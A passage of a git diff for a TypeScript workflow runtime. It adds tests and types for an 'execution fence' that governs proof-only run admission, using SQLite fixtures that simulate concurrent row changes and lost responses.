+    ).rejects.toMatchObject({ reason: { code: 'EXECUTION_FENCED' } });
 
     // #and — only the proof run may be resumed.
     await expect(
@@ -743,7 +2497,7 @@ describe('RunnerRuntime enforcement', () => {
     const { fence } = fenceFixture();
     await fence.seed('open');
     const { createWorkflow, createStep, runtime } = init(
-      { storage: new InMemoryStore() },
+      { DB: databaseForFence(fence) },
       { startIdempotency: 'none', executionFence: fence },
     );
     const drainMidRun = createStep({
@@ -772,7 +2526,11 @@ describe('RunnerRuntime enforcement', () => {
     // #then — in-flight compute is never preempted; only the NEXT start is
     // refused. The drain sequence is drain, then prove empty, then lock.
     expect(summary.status).toBe('success');
-    await expect(fence.read()).resolves.toEqual({ state: 'draining' });
+    await expect(fence.read()).resolves.toEqual({
+      state: 'draining',
+      ...optionalMetadata,
+      transitionRevision: 1,
+    });
     await expect(
       runtime.start('racing', { runId: 'run-racing-2', inputData: {} }),
     ).rejects.toBeInstanceOf(ExecutionFencedError);
@@ -803,3 +2561,667 @@ describe('RunnerRuntime enforcement', () => {
     expect(doErrorResponse(error).status).toBe(503);
   });
 });
+
+describe('FS8 D3 proof activation', () => {
+  const execution = {
+    tablePrefix: 'proof_',
+    workflowId: 'workflow',
+    runId: 'run',
+    startToken: 'generation',
+    owner: { kind: 'human' as const, id: 'owner' },
+    target: { kind: 'workflow' as const, id: 'workflow' },
+  };
+  async function fixture(
+    intercept?: (
+      sql: string,
+      execute: () => Promise<unknown>,
+    ) => Promise<unknown>,
+  ) {
+    const sqlite = openSqlite();
+    const backing = sqliteUnitDatabase(sqlite) as ExecutionFenceDatabase;
+    const db = intercept ? interceptedDatabase(backing, intercept) : backing;
+    const fence = new ExecutionFenceStore(db, { now: () => 50 });
+    const store = new StartIdempotencyStore(db, { now: () => 10 });
+    await fence.seed('migration-locked');
+    await fence.transition({
+      expected: 'migration-locked',
+      next: 'proof-only',
+      proofKey: 'key',
+      expectedMutationEpoch: 0,
+      expectedRevision: 0,
+    });
+    const { reservation } = await store.reserve({
+      key: 'key',
+      owner: execution.owner,
+      targetKind: 'workflow',
+      targetId: 'workflow',
+      mintRunId: () => 'run',
+    });
+    const bound = await store.associateReservation(reservation, execution);
+    sqlite.exec(
+      'CREATE TABLE proof_mastra_workflow_snapshot (workflow_name TEXT, run_id TEXT, resourceId TEXT, snapshot TEXT, createdAt TEXT, updatedAt TEXT, PRIMARY KEY(workflow_name,run_id))',
+    );
+    const snapshot = {
+      runId: 'run',
+      status: 'suspended',
+      requestContext: {
+        'flowsafe.runProvenance': {
+          version: 2,
+          startToken: 'generation',
+          attemptToken: 'attempt',
+          requestedBy: 'owner',
+          requestedByKind: 'human',
+          startIdentity: { owner: execution.owner, target: execution.target },
+          resumeCounts: [],
+          initialAdmission: true,
+        },
+      },
+    };
+    const writeSnapshot = (value: unknown = snapshot) =>
+      sqlite
+        .prepare(
+          'INSERT OR REPLACE INTO proof_mastra_workflow_snapshot VALUES (?,?,?,?,?,?)',
+        )
+        .run(
+          'workflow',
+          'run',
+          'resource',
+          JSON.stringify(value),
+          'created',
+          'updated',
+        );
+    writeSnapshot();
+    const frame = await fence.read();
+    const options = {
+      reservation: bound,
+      execution,
+      proof: {
+        key: 'key',
+        mutationEpoch: frame.mutationEpoch,
+        transitionRevision: frame.transitionRevision,
+      },
+      mutationEpoch: 0,
+      reservationStore: store,
+    };
+    const row = () =>
+      sqlite.prepare('SELECT * FROM flowsafe_execution_fence').get() as Record<
+        string,
+        unknown
+      >;
+    return { sqlite, db, fence, store, snapshot, writeSnapshot, options, row };
+  }
+
+  it('reads and nominates an exact current nonpending owned generation while preserving the receipt', async () => {
+    const h = await fixture();
+    const before = h.row();
+    expect(await h.fence.readCurrentRunExecution(execution)).toEqual({
+      tablePrefix: 'proof_',
+      workflowId: 'workflow',
+      runId: 'run',
+      startToken: 'generation',
+    });
+    expect(await h.fence.rebindProofRun(h.options)).toBe(true);
+    expect(h.row()).toMatchObject({
+      proof_run_id: 'run',
+      proof_table_prefix: 'proof_',
+      proof_workflow_id: 'workflow',
+      proof_start_token: 'generation',
+      updated_at: 50,
+      last_transition_request: before.last_transition_request,
+      transition_revision: before.transition_revision,
+    });
+    expect(await h.fence.rebindProofRun(h.options)).toBe(true);
+    expect(h.row().updated_at).toBe(50);
+  });
+
+  it.each([
+    'tablePrefix',
+    'workflowId',
+    'runId',
+    'startToken',
+  ] as const)('requires matching canonical physical field %s at the proof predicate', (field) => {
+    const proof = {
+      tablePrefix: 'proof_',
+      workflowId: 'workflow',
+      runId: 'run',
+      startToken: 'generation',
+    };
+    expect(
+      admitsExistingRun(
+        { state: 'proof-only', proofExecution: proof },
+        { ...proof },
+      ),
+    ).toBe(true);
+    expect(
+      admitsExistingRun(
+        { state: 'proof-only', proofExecution: proof },
+        { ...proof, [field]: field === 'tablePrefix' ? 'other_' : 'other' },
+      ),
+    ).toBe(false);
+    expect(
+      admitsExistingRun(
+        { state: 'proof-only', proofExecution: proof },
+        { ...proof, tablePrefix: 'PROOF_' },
+      ),
+    ).toBe(false);
+    expect(
+      admitsExistingRun({ state: 'proof-only', proofRunId: 'run' }, proof),
+    ).toBe(false);
+  });
+
+  it.each([
+    'missing',
+    'legacy',
+    'unowned',
+    'pending',
+    'replacement',
+  ] as const)('does not nominate a %s current snapshot', async (mode) => {
+    const h = await fixture();
+    if (mode === 'missing')
+      h.sqlite.exec('DELETE FROM proof_mastra_workflow_snapshot');
+    else {
+      const source = h.snapshot.requestContext['flowsafe.runProvenance'];
+      if (mode === 'legacy') source.version = 1;
+      if (mode === 'unowned')
+        delete (source as { startIdentity?: unknown }).startIdentity;
+      if (mode === 'pending') h.snapshot.status = 'pending';
+      if (mode === 'replacement') source.startToken = 'replacement';
+      h.writeSnapshot();
+    }
+    const before = h.row();
+    const result = await h.fence.rebindProofRun(h.options);
+    expect(h.row()).toEqual(before);
+    expect(result).toBe(false);
+  });
+
+  it.each([
+    'runId',
+    'status',
+    'container',
+    'provenance',
+  ] as const)('refuses malformed current snapshot %s as unreadable', async (field) => {
+    const h = await fixture();
+    const state: Record<string, unknown> = h.snapshot;
+    if (field === 'runId') state.runId = 'other';
+    if (field === 'status') state.status = 'unknown';
+    if (field === 'container') state.steps = [];
+    if (field === 'provenance')
+      state.requestContext = { 'flowsafe.runProvenance': { version: 2 } };
+    h.writeSnapshot(state);
+    const before = h.row();
+    const outcome = await h.fence
+      .rebindProofRun(h.options)
+      .catch((error) => error);
+    expect(h.row()).toEqual(before);
+    expect(outcome).toBeInstanceOf(ExecutionFenceUnreadableError);
+  });
+
+  const rowMutations = [
+    [
+      'snapshot-workflow',
+      "UPDATE proof_mastra_workflow_snapshot SET workflow_name = 'other'",
+    ],
+    [
+      'snapshot-run',
+      "UPDATE proof_mastra_workflow_snapshot SET run_id = 'other'",
+    ],
+    [
+      'snapshot-resource',
+      "UPDATE proof_mastra_workflow_snapshot SET resourceId = 'other'",
+    ],
+    [
+      'snapshot-bytes',
+      "UPDATE proof_mastra_workflow_snapshot SET snapshot = snapshot || ' '",
+    ],
+    [
+      'snapshot-created',
+      "UPDATE proof_mastra_workflow_snapshot SET createdAt = 'other'",
+    ],
+    [
+      'snapshot-updated',
+      "UPDATE proof_mastra_workflow_snapshot SET updatedAt = 'other'",
+    ],
+    ['reservation-key', "UPDATE flowsafe_start_idempotency SET key = 'other'"],
+    [
+      'reservation-owner-kind',
+      "UPDATE flowsafe_start_idempotency SET owner_kind = 'service'",
+    ],
+    [
+      'reservation-owner-id',
+      "UPDATE flowsafe_start_idempotency SET owner_id = 'other'",
+    ],
+    [
+      'reservation-target-kind',
+      "UPDATE flowsafe_start_idempotency SET target_kind = 'agent'",
+    ],
+    [
+      'reservation-target-id',
+      "UPDATE flowsafe_start_idempotency SET target_id = 'other'",
+    ],
+    [
+      'reservation-run',
+      "UPDATE flowsafe_start_idempotency SET run_id = 'other'",
+    ],
+    [
+      'reservation-thread',
+      "UPDATE flowsafe_start_idempotency SET thread_id = 'thread'",
+    ],
+    [
+      'reservation-state',
+      "UPDATE flowsafe_start_idempotency SET state = 'terminal'",
+    ],
+    [
+      'reservation-created',
+      'UPDATE flowsafe_start_idempotency SET created_at = 11',
+    ],
+    [
+      'reservation-updated',
+      'UPDATE flowsafe_start_idempotency SET updated_at = 11',
+    ],
+    [
+      'reservation-token',
+      "UPDATE flowsafe_start_idempotency SET start_token = 'other'",
+    ],
+    [
+      'reservation-prefix',
+      "UPDATE flowsafe_start_idempotency SET start_table_prefix = 'other_'",
+    ],
+    [
+      'reservation-workflow',
+      "UPDATE flowsafe_start_idempotency SET start_workflow_id = 'other'",
+    ],
+    [
+      'proof-state',
+      "UPDATE flowsafe_execution_fence SET state = 'migration-locked'",
+    ],
+    ['proof-key', "UPDATE flowsafe_execution_fence SET proof_key = 'other'"],
+    ['proof-epoch', 'UPDATE flowsafe_execution_fence SET mutation_epoch = 1'],
+    [
+      'proof-revision',
+      'UPDATE flowsafe_execution_fence SET transition_revision = 2',
+    ],
+    [
+      'proof-required',
+      'UPDATE flowsafe_execution_fence SET require_mutation_epoch = 1',
+    ],
+    [
+      'proof-receipt',
+      'UPDATE flowsafe_execution_fence SET last_transition_request = NULL',
+    ],
+  ] as const;
+  it.each(
+    rowMutations,
+  )('retains exact final SQL guard for %s', async (_label, mutation) => {
+    let mutate: (() => void) | undefined;
+    const h = await fixture(async (sql, execute) => {
+      if (
+        sql.startsWith('UPDATE flowsafe_execution_fence') &&
+        sql.includes('EXISTS')
+      ) {
+        mutate?.();
+        mutate = undefined;
+      }
+      return execute();
+    });
+    mutate = () => h.sqlite.exec(mutation);
+    const result = await h.fence
+      .rebindProofRun(h.options)
+      .catch((error) => error);
+    expect(h.row().proof_run_id).toBeNull();
+    expect(result).not.toBe(true);
+  });
+
+  it.each([
+    'converges',
+    'snapshot-changed',
+    'reservation-changed',
+    'round-changed',
+  ] as const)('uses one coherent response-loss query that %s', async (mode) => {
+    let afterWrite: (() => void) | undefined;
+    let convergenceReads = 0;
+    const h = await fixture(async (sql, execute) => {
+      if (
+        sql.startsWith('SELECT * FROM flowsafe_execution_fence') &&
+        sql.includes('EXISTS')
+      )
+        convergenceReads++;
+      if (
+        sql.startsWith('UPDATE flowsafe_execution_fence') &&
+        sql.includes('EXISTS')
+      ) {
+        await execute();
+        afterWrite?.();
+        throw new Error('response lost');
+      }
+      return execute();
+    });
+    afterWrite = () => {
+      if (mode === 'snapshot-changed')
+        h.sqlite.exec(
+          "UPDATE proof_mastra_workflow_snapshot SET snapshot = snapshot || ' '",
+        );
+      if (mode === 'reservation-changed')
+        h.sqlite.exec('UPDATE flowsafe_start_idempotency SET updated_at = 11');
+      if (mode === 'round-changed')
+        h.sqlite.exec(
+          'UPDATE flowsafe_execution_fence SET transition_revision = 2, last_transition_request = NULL',
+        );
+    };
+    const outcome = await h.fence
+      .rebindProofRun(h.options)
+      .catch((error) => error);
+    expect(h.row().proof_start_token).toBe('generation');
+    expect(convergenceReads).toBe(1);
+    if (mode === 'converges') expect(outcome).toBe(true);
+    else expect(outcome).toBeInstanceOf(ExecutionFenceUnreadableError);
+  });
+
+  it('preserves a late foreign fence row when the accepted schema lacks the singleton CHECK', async () => {
+    let inject: (() => void) | undefined;
+    const h = await fixture(async (sql, execute) => {
+      if (
+        sql.startsWith('UPDATE flowsafe_execution_fence') &&
+        sql.includes('EXISTS')
+      )
+        inject?.();
+      return execute();
+    });
+    const schema = h.sqlite
+      .prepare(
+        "SELECT sql FROM sqlite_master WHERE name = 'flowsafe_execution_fence'",
+      )
+      .get() as { sql: string };
+    const withoutIdCheck = schema.sql.replace("CHECK (id = 'deployment')", '');
+    expect(withoutIdCheck).not.toBe(schema.sql);
+    h.sqlite.exec(
+      'ALTER TABLE flowsafe_execution_fence RENAME TO previous_execution_fence',
+    );
+    h.sqlite.exec(withoutIdCheck);
+    h.sqlite.exec(
+      'INSERT INTO flowsafe_execution_fence SELECT * FROM previous_execution_fence',
+    );
+    h.sqlite.exec('DROP TABLE previous_execution_fence');
+    const foreignRow = () =>
+      h.sqlite
+        .prepare("SELECT * FROM flowsafe_execution_fence WHERE id = 'foreign'")
+        .get();
+    let before: unknown;
+    inject = () => {
+      h.sqlite.exec(
+        `INSERT INTO flowsafe_execution_fence
+          SELECT 'foreign', state, proof_key, proof_run_id, updated_at,
+            last_transition_request, transition_revision, mutation_epoch,
+            require_mutation_epoch, proof_table_prefix, proof_workflow_id, proof_start_token
+          FROM flowsafe_execution_fence WHERE id = 'deployment'`,
+      );
+      before = foreignRow();
+    };
+    const outcome = await h.fence
+      .rebindProofRun(h.options)
+      .catch((error) => error);
+    expect(foreignRow()).toEqual(before);
+    expect(outcome).toBe(true);
+    expect(
+      h.sqlite
+        .prepare(
+          "SELECT proof_start_token FROM flowsafe_execution_fence WHERE id = 'deployment'",
+        )
+        .get(),
+    ).toEqual({ proof_start_token: 'generation' });
+  });
+
+  it('does not converge after malformed RETURNING or known zero', async () => {
+    for (const mode of ['malformed', 'zero']) {
+      let enabled = false;
+      let reads = 0;
+      const h = await fixture(async (sql, execute) => {
+        if (enabled && sql.startsWith('SELECT') && sql.includes('EXISTS'))
+          reads++;
+        if (
+          enabled &&
+          sql.startsWith('UPDATE flowsafe_execution_fence') &&
+          sql.includes('EXISTS')
+        ) {
+          await execute();
+          return mode === 'zero'
+            ? { results: [] }
+            : { results: [{ bad: true }] };
+        }
+        return execute();
+      });
+      enabled = true;
+      const result = await h.fence
+        .rebindProofRun(h.options)
+        .catch((error) => error);
+      expect(h.row().proof_start_token).toBe('generation');
+      expect(reads).toBe(0);
+      if (mode === 'zero') expect(result).toBe(false);
+      else expect(result).toBeInstanceOf(ExecutionFenceUnreadableError);
+    }
+  });
+
+  it('refuses mismatched database ports before I/O and never lets the legacy setter alter or acknowledge a modern tuple', async () => {
+    const h = await fixture();
+    let prepares = 0;
+    const fence = new ExecutionFenceStore({
+      prepare: (sql) => {
+        prepares++;
+        return h.db.prepare(sql);
+      },
+    });
+    const bad = await fence.rebindProofRun(h.options).catch((error) => error);
+    expect(prepares).toBe(0);
+    expect((bad as { reason?: { code?: string } }).reason?.code).toBe(
+      'INVALID_EXECUTION_IDENTITY',
+    );
+    expect(await h.fence.rebindProofRun(h.options)).toBe(true);
+    const before = h.row();
+    const legacyOutcome = await h.fence
+      .recordProofRun('key', 'run', h.options.proof)
+      .catch((error) => error);
+    expect(h.row()).toEqual(before);
+    expect(legacyOutcome).toBe(false);
+    const lost = new ExecutionFenceStore(
+      interceptedDatabase(h.db, async (sql, execute) => {
+        if (sql.startsWith('UPDATE flowsafe_execution_fence'))
+          throw new Error('legacy response lost');
+        return execute();
+      }),
+    );
+    const outcome = await lost
+      .recordProofRun('key', 'run', h.options.proof)
+      .catch((error) => error);
+    expect(h.row()).toEqual(before);
+    expect(outcome).toBeInstanceOf(ExecutionFenceUnreadableError);
+  });
+  it.each([
+    'proof_run_id',
+    'proof_table_prefix',
+    'proof_workflow_id',
+    'proof_start_token',
+  ] as const)('preserves a late partial nomination when empty proof tuple %s is nonnull', async (column) => {
+    let inject: (() => void) | undefined;
+    const h = await fixture(async (sql, execute) => {
+      if (
+        sql.startsWith('UPDATE flowsafe_execution_fence') &&
+        sql.includes('EXISTS')
+      )
+        inject?.();
+      return execute();
+    });
+    let before: Record<string, unknown> | undefined;
+    inject = () => {
+      h.sqlite.exec(`UPDATE flowsafe_execution_fence SET ${column} = 'other'`);
+      before = h.row();
+    };
+    const outcome = await h.fence
+      .rebindProofRun(h.options)
+      .catch((error) => error);
+    expect(h.row()).toEqual(before);
+    expect(outcome).not.toBe(true);
+  });
+
+  it.each([
+    'proof_run_id',
+    'proof_table_prefix',
+    'proof_workflow_id',
+    'proof_start_token',
+  ] as const)('preserves a competing nomination when final proof tuple %s differs', async (column) => {
+    let inject: (() => void) | undefined;
+    const h = await fixture(async (sql, execute) => {
+      if (
+        sql.startsWith('UPDATE flowsafe_execution_fence') &&
+        sql.includes('EXISTS')
+      )
+        inject?.();
+      return execute();
+    });
+    let before: Record<string, unknown> | undefined;
+    inject = () => {
+      h.sqlite
+        .prepare(
+          'UPDATE flowsafe_execution_fence SET proof_run_id = ?, proof_table_prefix = ?, proof_workflow_id = ?, proof_start_token = ?',
+        )
+        .run(
+          column === 'proof_run_id' ? 'other' : 'run',
+          column === 'proof_table_prefix' ? 'other_' : 'proof_',
+          column === 'proof_workflow_id' ? 'other' : 'workflow',
+          column === 'proof_start_token' ? 'other' : 'generation',
+        );
+      before = h.row();
+    };
+    const outcome = await h.fence
+      .rebindProofRun(h.options)
+      .catch((error) => error);
+    expect(h.row()).toEqual(before);
+    expect(outcome).not.toBe(true);
+  });
+
+  it('retains the original source owner when a later initiator differs', async () => {
+    const h = await fixture();
+    h.snapshot.requestContext['flowsafe.runProvenance'].requestedBy =
+      'later-initiator';
+    h.writeSnapshot();
+    expect(await h.fence.rebindProofRun(h.options)).toBe(true);
+    expect(h.row().proof_start_token).toBe('generation');
+    expect((await h.store.read('key'))?.owner).toEqual(execution.owner);
+  });
+});
+
+// ---------------------------------------------------------------------------
+// The contracts the fence's reservation seam rests on, each carrying its own
+// evidence. `refuses mismatched database ports before I/O and never lets the
+// legacy setter alter or acknowledge a modern tuple` is the structural DB-port
+// control and establishes nothing beyond it, so the import boundary, the codec
+// definitions and the refusal constructor are asserted here instead of being
+// read off that one case.
+// ---------------------------------------------------------------------------
+
+type SourceReader = { readFileSync(path: string, encoding: string): string };
+
+/**
+ * A sibling module's source, through getBuiltinModule so this workers-typed
+ * program needs no Node ambient types — the idiom test-support/sqlite.ts uses.
+ */
+function siblingSource(file: string): string {
+  const fs = (
+    globalThis as {
+      process?: { getBuiltinModule?: (id: string) => unknown };
+    }
+  ).process?.getBuiltinModule?.('node:fs') as SourceReader | undefined;
+  if (!fs) throw new Error('node:fs unavailable — tests require node >= 22');
+  return fs.readFileSync(
+    new URL(file, (import.meta as ImportMeta & { url: string }).url).pathname,
+    'utf8',
+  );
+}
+
+/**
+ * Each pattern is one line form a TypeScript source names another module in: a
+ * `from` clause on an import or a re-export, a side-effect import, a dynamic
+ * import, a module augmentation, a triple-slash reference. A form missing from
+ * this list is an edge `declaredEdges` cannot see.
+ */
+const EDGE_PATTERNS: readonly RegExp[] = [
+  /\bfrom\s*'([^']+)'\s*;?\s*$/,
+  /^\s*import\s*'([^']+)'\s*;?\s*$/,
+  /\bimport\(\s*'([^']+)'\s*\)/,
+  /^\s*declare\s+module\s+'([^']+)'/,
+  /^\s*\/\/\/\s*<reference\s+(?:path|types|lib)\s*=\s*"([^"]+)"/,
+];
+
+/** The module specifiers a source names, in source order. */
+function declaredEdges(source: string): string[] {
+  return source
+    .split('\n')
+    .flatMap((line) =>
+      EDGE_PATTERNS.map((pattern) => pattern.exec(line)?.[1]).filter(
+        (specifier): specifier is string => specifier !== undefined,
+      ),
+    );
+}
+
+describe('start-reservation contract evidence', () => {
+  it('reads an edge out of each specifier form it lists', () => {
+    // The positive control for the case below: `architecture:check:rules`
+    // cruises packages but drops packages/flowsafe/src/**/*.test.ts, so no
+    // dependency-cruiser rule covers the leaf constraint and nothing outside
+    // this file checks the scan that does. A specifier form the patterns miss
+    // would leave that case green while the edge it forbids was added.
+    expect(
+      declaredEdges(
+        [
+          "import { a } from './from-clause.js';",
+          "export type { B } from './re-export.js';",
+          "import './side-effect.js';",
+          "const c = await import('./dynamic.js');",
+          "declare module './augmented.js' {",
+          '/// <reference types="triple-slash" />',
+          "const notAnEdge = 'plain string';",
+        ].join('\n'),
+      ),
+    ).toEqual([
+      './from-clause.js',
+      './re-export.js',
+      './side-effect.js',
+      './dynamic.js',
+      './augmented.js',
+      'triple-slash',
+    ]);
+  });
+
+  it('keeps the reservation contract a leaf of three declared edges', () => {
+    // Source edges, not a cycle check: a cycle rule admits a one-way edge from
+    // this leaf into a store, a fence, Runtime or a capability, and admitting
+    // one would put the fence's codecs behind the graph they decode for. Type-
+    // only edges count — they are erased, and the boundary is not.
+    const edges = declaredEdges(
+      siblingSource('./start-reservation-contract.ts'),
+    );
+    expect(edges).toEqual([
+      '../approval-api/principal-identity.js',
+      './execution-admission.js',
+      './path-safe-id.js',
+    ]);
+  });
+
+  it('gives the fence and the reservation store one definition of each codec', () => {
+    // The strict admission-codec suites drive these two functions through the
+    // store's re-export; the fence imports them from the leaf. Same function
+    // objects, so that evidence is evidence about the fence's own decode.
+    expect(reExportedDecode).toBe(decodeStartReservationAdmissionResult);
+    expect(reExportedValidate).toBe(validateStartReservationAdmissionSchema);
+  });
+
+  it('publishes the reservation refusal constructor rather than a second copy', () => {
+    // A forwarding copy would be a second constructor object: an instanceof
+    // written against the package surface would refuse the error the store
+    // threw.
+    expect(BarrelStartReservationUnreadableError).toBe(
+      StartReservationUnreadableError,
+    );
+    expect(new StartReservationUnreadableError('key')).toBeInstanceOf(
+      BarrelStartReservationUnreadableError,
+    );
+  });
+});
diff --git a/packages/flowsafe/src/do-runner/execution-fence.ts b/packages/flowsafe/src/do-runner/execution-fence.ts
index d69d36ff..8a945833 100644
--- a/packages/flowsafe/src/do-runner/execution-fence.ts
+++ b/packages/flowsafe/src/do-runner/execution-fence.ts
@@ -33,34 +33,60 @@
 //   it is logged, swallowed, and left for the next wake, because a thrown alarm
 //   is retried by workerd and would answer a storage incident with a storm.
 //
-// ABSENT ROW (and absent TABLE) READ AS `open`. That is the 0.19-to-0.20
+// An absent legacy row (or absent TABLE) reads as `open`. That is the 0.19-to-0.20
 // upgrade rule and nothing more: a database seeded before this table existed
 // must keep serving. Provisioning writes an explicit row from 0.20 on, so a
 // deployment that means to start locked says so rather than relying on a
 // default — `seed()` therefore takes the state as a REQUIRED argument.
 
 import {
-  EXECUTION_FENCE_DDL,
+  type DeploymentIdentityProtocolExecutor,
+  type DeploymentIdentityProtocolRow,
+  decodeExecutionFenceMutationMetadata,
+  EXECUTION_FENCE_CURRENT_SCHEMA_STAGE,
   EXECUTION_FENCE_ROW_ID,
   EXECUTION_FENCE_STATES,
   EXECUTION_FENCE_TABLE,
+  type ExecutionFenceSchemaStage,
+  initializeExecutionFenceProtocol,
+  readExecutionFenceSchemaProtocol,
 } from '#deployment-identity-protocol';
 import { missingTableReadsEmpty } from './cause-chain.js';
 import { DoStatusError } from './do-status-error.js';
+import {
+  type D1RunExecutionIdentity,
+  type D1StartExecutionIdentity,
+  ExecutionFenceUnreadableError,
+  InvalidExecutionIdentityError,
+  normalizeD1RunExecutionIdentity,
+  normalizeMutationEpoch,
+  normalizeStartExecutionIdentity,
+  type ProofEntryExpectation,
+  type RunExecutionIdentity,
+} from './execution-admission.js';
+import { RUN_PROVENANCE_CONTEXT_KEY } from './execution-context.js';
 import { isPathSafeId } from './path-safe-id.js';
+import {
+  decodeProgressRunProvenance,
+  decodeRunStartIdentity,
+} from './run-provenance.js';
+import { isRunStatus } from './run-terminal-state.js';
+import {
+  captureBoundReservation,
+  decodeStartReservationAdmissionResult,
+  START_IDEMPOTENCY_TABLE,
+  type StartReservationReading,
+  sameReservationIdentity,
+  validateStartReservationAdmissionSchema,
+} from './start-reservation-contract.js';
+import {
+  type D1RunAddress,
+  decodeRawWorkflowSnapshotResult,
+  prepareRawWorkflowSnapshotRead,
+  type RawWorkflowSnapshot,
+} from './workflow-snapshot-row.js';
 
-/**
- * Rows affected by a write, read from D1's `{ meta: { changes } }` envelope —
- * the same accessor d1-storage exports as `d1Changes`, restated here so this
- * module imports only leaf modules. Every surface that consults the fence
- * imports it, including ones that must not drag the D1 storage adapter (and
- * @mastra/cloudflare-d1 with it) into their bundle.
- */
-function changesOf(result: unknown): number {
-  const changes = (result as { meta?: { changes?: number } } | undefined)?.meta
-    ?.changes;
-  return typeof changes === 'number' ? changes : 0;
-}
+export { ExecutionFenceUnreadableError } from './execution-admission.js';
 
 /**
  * The state vocabulary, the table, that table's fixed row key, and the DDL
@@ -122,12 +148,28 @@ export interface ExecutionFenceReading {
   readonly proofKey?: string;
   /** The run the proof-only state has already admitted, once one started. */
   readonly proofRunId?: string;
+  readonly mutationEpoch?: number;
+  readonly requireMutationEpoch?: boolean;
+  readonly transitionRevision?: number;
+  /** Server-side proof identity; omitted from the admin JSON projection. */
+  readonly proofExecution?: D1RunExecutionIdentity;
+}
+
+/** An authoritative store reading, including durable administrative versioning. */
+export interface ExecutionFenceVersionedReading extends ExecutionFenceReading {
+  readonly mutationEpoch: number;
+  readonly requireMutationEpoch: boolean;
+  readonly transitionRevision: number;
 }
 
 /** The reading every unfenced surface uses — see `ExecutionFenceStore` absence. */
-export const OPEN_EXECUTION_FENCE: ExecutionFenceReading = Object.freeze({
-  state: 'open',
-});
+export const OPEN_EXECUTION_FENCE: ExecutionFenceVersionedReading =
+  Object.freeze({
+    state: 'open',
+    mutationEpoch: 0,
+    requireMutationEpoch: false,
+    transitionRevision: 0,
+  });
 
 /**
  * Read the fence a surface was wired with, resolving the typed opt-out.
@@ -147,7 +189,7 @@ export const OPEN_EXECUTION_FENCE: ExecutionFenceReading = Object.freeze({
  */
 export async function readExecutionFence(
   fence: ExecutionFenceWiring | undefined,
-): Promise<ExecutionFenceReading> {
+): Promise<ExecutionFenceVersionedReading> {
   if (fence === undefined || fence === 'none') return OPEN_EXECUTION_FENCE;
   return fence.read();
 }
@@ -239,31 +281,38 @@ export class FenceTransitionConflictError extends DoStatusError {
   readonly reason: {
     readonly code: 'FENCE_CAS_CONFLICT';
     readonly state: ExecutionFenceState;
+    readonly mutationEpoch?: number;
+    readonly requireMutationEpoch?: boolean;
+    readonly transitionRevision?: number;
+    readonly proofKey?: string;
+    readonly proofRunId?: string;
+    readonly conflict?:
+      | 'expectation-mismatch'
+      | 'versioned-expectation-required';
   };
 
-  constructor(expected: ExecutionFenceState, current: ExecutionFenceState) {
+  constructor(
+    expected: ExecutionFenceState,
+    current: ExecutionFenceState,
+    details?: {
+      reading: ExecutionFenceVersionedReading;
+      conflict: 'expectation-mismatch' | 'versioned-expectation-required';
+    },
+  ) {
     super(
-      `execution fence transition expected state '${expected}' but found '${current}'`,
+      details === undefined
+        ? `execution fence transition expected state '${expected}' but found '${current}'`
+        : 'execution fence transition conflicts with the current reading',
     );
     this.name = 'FenceTransitionConflictError';
-    this.reason = { code: 'FENCE_CAS_CONFLICT', state: current };
-  }
-}
-
-/**
- * The fence could not be READ. Deliberately distinct from
- * ExecutionFencedError: no state was observed, so nothing may conclude the
- * deployment is open — which is why this carries the same 503 a refusal does
- * and every request-path caller lets it propagate.
- */
-export class ExecutionFenceUnreadableError extends DoStatusError {
-  readonly status = 503;
-  readonly reason: { readonly code: 'EXECUTION_FENCE_UNREADABLE' };
-
-  constructor(message: string, options?: ErrorOptions) {
-    super(message, options);
-    this.name = 'ExecutionFenceUnreadableError';
-    this.reason = { code: 'EXECUTION_FENCE_UNREADABLE' };
+    this.reason =
+      details === undefined
+        ? { code: 'FENCE_CAS_CONFLICT', state: current }
+        : {
+            code: 'FENCE_CAS_CONFLICT',
+            ...executionFenceReadingPayload(details.reading),
+            conflict: details.conflict,
+          };
   }
 }
 
@@ -303,17 +352,30 @@ export function executionFencedResponse(
  * null would invite a caller to read "no proof run yet" out of a state that has
  * no proof at all.
  */
-export function executionFenceReadingPayload(reading: ExecutionFenceReading): {
-  state: ExecutionFenceState;
-  proofKey?: string;
-  proofRunId?: string;
-} {
+export function executionFenceReadingPayload(
+  reading: ExecutionFenceVersionedReading,
+): ExecutionFenceVersionedReading;
+export function executionFenceReadingPayload(
+  reading: ExecutionFenceReading,
+): ExecutionFenceReading;
+export function executionFenceReadingPayload(
+  reading: ExecutionFenceReading,
+): ExecutionFenceReading {
   return {
     state: reading.state,
     ...(reading.proofKey === undefined ? {} : { proofKey: reading.proofKey }),
     ...(reading.proofRunId === undefined
       ? {}
       : { proofRunId: reading.proofRunId }),
+    ...(reading.mutationEpoch === undefined
+      ? {}
+      : { mutationEpoch: reading.mutationEpoch }),
+    ...(reading.requireMutationEpoch === undefined
+      ? {}
+      : { requireMutationEpoch: reading.requireMutationEpoch }),
+    ...(reading.transitionRevision === undefined
+      ? {}
+      : { transitionRevision: reading.transitionRevision }),
   };
 }
 
@@ -363,7 +425,7 @@ const FENCE_REFUSAL_CODES: ReadonlySet<string> = new Set([
  *
  * The two codes are matched by name rather than by any structural sniff: only
  * refusals this package authors publish them, and both are declared as literals
- * on the classes above, so a code arriving over the wire came from one of them.
+ * on the corresponding error classes, so a code arriving over the wire came from one of them.
  */
 export function isExecutionFenceRefusal(
   error: unknown,
@@ -466,15 +528,30 @@ export function admitsRunStart(
  */
 export function admitsExistingRun(
   reading: ExecutionFenceReading,
-  runId?: string,
+  candidate?: string | RunExecutionIdentity,
 ): boolean {
   if (reading.state === 'open' || reading.state === 'draining') return true;
-  if (reading.state !== 'proof-only') return false;
-  return (
-    reading.proofRunId !== undefined &&
-    runId !== undefined &&
-    runId === reading.proofRunId
-  );
+  if (
+    reading.state !== 'proof-only' ||
+    typeof candidate !== 'object' ||
+    candidate === null ||
+    candidate.tablePrefix === null
+  )
+    return false;
+  try {
+    const execution = normalizeD1RunExecutionIdentity(candidate);
+    const proof = reading.proofExecution;
+    return (
+      execution.tablePrefix === candidate.tablePrefix &&
+      proof !== undefined &&
+      proof.tablePrefix === execution.tablePrefix &&
+      proof.workflowId === execution.workflowId &&
+      proof.runId === execution.runId &&
+      proof.startToken === execution.startToken
+    );
+  } catch {
+    return false;
+  }
 }
 
 /**
@@ -499,36 +576,270 @@ export function admitsDrainableExecution(
   return reading.state === 'open' || reading.state === 'draining';
 }
 
-interface ExecutionFenceRow {
-  state?: unknown;
-  proof_key?: unknown;
-  proof_run_id?: unknown;
+type FenceTransitionReceipt = readonly [
+  1,
+  ExecutionFenceState,
